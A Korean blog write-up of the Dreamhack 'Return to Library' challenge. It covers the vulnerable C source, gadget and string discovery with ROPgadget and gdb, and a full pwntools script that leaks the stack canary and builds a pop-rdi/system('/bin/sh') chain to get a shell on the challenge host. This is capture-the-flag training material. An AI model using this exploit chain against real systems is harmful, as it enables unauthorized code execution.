System Hacking

[System Hacking] Dreamhack : Return to Library 문제 풀이 (RTL)

Papya_j 2024. 8. 24. 15:38

[문제 분석]

 

checksec rtl

위 코드를 통해 적용된 보호기법을 살펴보았다. Canary와 NX가 적용되었다.

 

// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

코드를 살펴보니 Leak Canary를 할 수 있는 read 한번, 이 후 return address를 덮을 수 있는 read가 또 한 번 있다.

다만 일반적으로 스택에 덮게 되면 NX 보호기법으로 인해 stack의 코드는 실행이 불가능하다. 이것을 우회하기 위해 RTL 기법을 사용해야 한다.

 

익스플로잇 설계

1. 카나리 우회

2. rdi값을 “/bin/sh”의 주소로 설정 및 셸 획득

  • “/bin/sh”의 주소를 안다.
  • system 함수의 PLT 주소를 안다. ==> system 함수를 호출할 수 있다.

system(“/bin/sh”)을 호출하면 셸을 획득 → rdi =”/bin/sh” 주소인 상태에서 system 함수를 호출한 것과 같다  “/bin/sh”의 주소를 rdi의 값으로 설정할 수 있다면 문제를 풀 수 있다. 리턴 가젯을 활용해야 한다.

여기서 사용할 툴은 ROPgadget이다,

 

$ ROPgadget --binary rtl
Gadgets information
...
0x0000000000400285 : ret
...

Unique gadgets found: 83
$

ret 가젯 주소를 찾았다.

 

ROPgadget --binary ./rtl --re "pop rdi"

pop rdi ; ret 에 대한 gadget주소를 찾았다.

 

addr of ("pop rdi; ret")   <= return address
addr of string "/bin/sh"   <= ret + 0x8
addr of "system" plt       <= ret + 0x10

system(“/bin/sh”)을 실행할 수 있다.

 

gdb rtl
b *main
r
search /bin/sh

'/bin/sh'에 대한 주소를 찾을 수 있다.


[Write Up]

#!/usr/bin/env python3
# Name: rtl.py
from pwn import *

p = remote('host3.dreamhack.games', 21587)
e = ELF('./rtl')

def slog(name, addr): return success(': '.join([name, hex(addr)]))

# [1] Leak canary
buf = b'A' * 0x39
p.sendafter(b'Buf: ', buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary', cnry)

# [2] Exploit
system_plt = e.plt['system']
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285

payload = b'A'*0x38 + p64(cnry) + b'B'*0x8
payload += p64(ret)  # align stack to prevent errors caused by movaps
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system_plt)

pause()
p.sendafter(b'Buf: ', payload)

p.interactive()

 

참고

https://velog.io/@silvergun8291/Dreamhack-Return-to-Library

 

https://wyv3rn.tistory.com/54

우선 32 bit와 64 bit의 RTL 차이를 이해해야 한다. 

32 bit의 경우 함수가 실행되기 전 인자들이 스택에 입력만 되어있으면 문제 없다. 예를 들어 system('/bin/sh') 를 실행하기 위해서는 system 함수 주소를 ret에 덮어씌우고, 이후 system 함수 종료 후 돌아갈 return address + /bin/sh 문자열이 저장된 주소 의 순으로 스택에 값만 들어가면 된다. 

하지만 64 bit에서는 레지스터에 값이 들어가야 한다.

동일하게 system('/bin/sh') 를 실행하기 위해서는 /bin/sh 문자열이 저장된 주소가 %rdi에 들어가있어야하기에 pop rdi, ret gadget 주소를 ret에 덮어씌우고, 이후 %rdi에 넣을 /bin/sh 문자열이 저장된 주소 + system 함수 주소 의 순으로 스택에 전달되어야 한다.